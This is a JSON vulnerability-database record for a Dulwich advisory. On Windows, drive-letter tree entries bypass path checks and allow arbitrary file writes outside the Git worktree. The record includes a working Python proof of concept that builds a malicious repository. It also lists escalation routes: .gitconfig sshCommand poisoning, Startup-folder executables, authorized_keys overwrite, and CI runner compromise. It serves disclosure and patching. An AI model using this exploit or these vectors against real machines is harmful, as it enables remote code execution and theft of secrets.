{"schema":"threatline.record/2","record":{"id":"GHSA-8mcx-5rqc-vhmf","aliases":["CVE-2026-114094","GHSA-8mcx-5rqc-vhmf"],"summary":"Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths","details":"### Affected files\n* `dulwich/index.py` (Methods: `validate_path_element_ntfs`, `_tree_to_fs_path`)\n* `dulwich/porcelain/__init__.py` (Method: `_checked_worktree_path`)\n\n### Description / Summary\nA High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject `.git` variants, Alternate Data Streams (ADS), `git~1` short names, and reserved device names, but they completely fail to check for **DOS drive letter prefixes**.\n\nA malicious Git tree can contain an entry named `C:`. When Dulwich processes this tree on a Windows client, the string passes the `validate_path_element_ntfs` check. Later, `_tree_to_fs_path` passes this path to `os.path.join(root, b\"C:\\\\\\\\Users\\\\\\\\...\")`. \n\nOn Windows, if the second argument to `os.path.join` contains an absolute drive letter, the `root` path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.\n\nWhile the standard C `git` client explicitly blocks this via `has_dos_drive_prefix()` in `path.c`, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.\n\n### Potential impact\n\nThis vulnerability allows an attacker to achieve **Arbitrary File Write**, which can trivially be escalated to **Remote Code Execution (RCE)** or total system compromise on the victim's Windows machine.\n\nAttack vectors include:\n1. **Git Config Poisoning (RCE):** Writing a malicious `C:\\\\Users\\\\<victim>\\\\.gitconfig` file to set `core.sshCommand` to an arbitrary executable, granting RCE the next time the user interacts with Git.\n2. **Persistence (RCE):** Dropping a malicious executable into `C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\`.\n3. **SSH Key Overwrite:** Writing to `C:\\\\Users\\\\<victim>\\\\.ssh\\\\authorized_keys` to compromise remote servers accessible by the victim.\n4. **CI/CD Compromise:** If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.\n\n### Proof of Concept (PoC)\nThe following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.\n\n```python\nfrom dulwich.objects import Blob, Tree, Commit\nfrom dulwich.repo import Repo\nimport os, tempfile\n\nrepo_path = tempfile.mkdtemp()\nrepo = Repo.init(repo_path)\n\n# 1. Build the payload blob.\nblob = Blob(); blob.data = b\"pwned-by-drive-letter\\\\n\"\nrepo.object_store.add_object(blob)\n\n# 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt\nevil_txt = Tree();   evil_txt[b\"evil.txt\"] = (0o100644, blob.id)\nrepo.object_store.add_object(evil_txt)\nvictim_dir = Tree(); victim_dir[b\"victim\"] = (0o040000, evil_txt.id)\nrepo.object_store.add_object(victim_dir)\nusers_dir  = Tree(); users_dir[b\"Users\"]   = (0o040000, victim_dir.id)\nrepo.object_store.add_object(users_dir)\n\n# VULNERABILITY: The \"C:\" directory bypasses validation\nc_drive    = Tree(); c_drive[b\"C:\"]        = (0o040000, users_dir.id)\nrepo.object_store.add_object(c_drive)\n\ncommit = Commit()\ncommit.tree = c_drive.id\ncommit.message = b\"add feature\"\ncommit.author = commit.committer = b\"attacker <a@evil.example>\"\ncommit.author_time = commit.commit_time = 1700000000\ncommit.author_timezone = commit.committer_timezone = 0\nrepo.object_store.add_object(commit)\nrepo.refs[b\"refs/heads/main\"] = commit.id\n\nprint(f\"Malicious repo created at {repo_path}\")\nprint(f\"Clone with: dulwich clone {repo_path} /target/win/worktree\")\n# Result: A Windows checkout of this commit writes the payload directly to C:\\\\Users\\\\victim\\\\evil.txt\n```","categories":["Libraries & packages"],"product":"dulwich","vendor":"","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8mcx-5rqc-vhmf","source_modified_at":"2026-10-02T19:14:22Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"dulwich"},"range":"< 1.2.9"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8mcx-5rqc-vhmf","source_modified_at":"2026-10-21T10:57:27.354775093Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"name":"dulwich","ecosystem":"PyPI","purl":"pkg:pypi/dulwich"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.9"}]}],"versions":["0.0.1","0.1.0","0.1.1","0.10.0","0.10.1a","0.11.0","0.11.1","0.11.2","0.12.0","0.13.0","0.14.0","0.14.1","0.15.0","0.16.0","0.16.1","0.16.2","0.16.3","0.17.1","0.17.2","0.17.3","0.18.0","0.18.1","0.18.2","0.18.3","0.18.4","0.18.5","0.18.6","0.19.0","0.19.1","0.19.10","0.19.11","0.19.12","0.19.13","0.19.14","0.19.15","0.19.16","0.19.2","0.19.3","0.19.3a0","0.19.4","0.19.5","0.19.6","0.19.7","0.19.8","0.19.9","0.2.1","0.20.0","0.20.1","0.20.10","0.20.11"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8mcx-5rqc-vhmf","source_modified_at":"2026-10-02T19:14:22Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"dulwich"},"version":"1.2.9"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8mcx-5rqc-vhmf","source_modified_at":"2026-10-21T10:57:27.354775093Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"name":"dulwich","ecosystem":"PyPI","purl":"pkg:pypi/dulwich"},"version":"1.2.9"}],"cvss":8.8,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-02T19:14:21Z","modified_at":"2026-10-21T10:57:27.354775093Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-8mcx-5rqc-vhmf","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-02T19:14:22Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-8mcx-5rqc-vhmf","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-21T10:57:27.354775093Z"}],"sources":["GitHub Advisory Database","OSV"],"references":[{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-8mcx-5rqc-vhmf","source":"GitHub Advisory Database"},{"url":"https://github.com/jelmer/dulwich/commit/4ca77f9f470742ba246cd6fa07beb6d735045664","source":"GitHub Advisory Database"},{"url":"https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-8mcx-5rqc-vhmf","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-21T10:57:27.354775093Z","content_hash":"4cf9f1eb62a4b6a32da094ad7851ab8064623fabfc200635dee6d0fc48949b08"}}
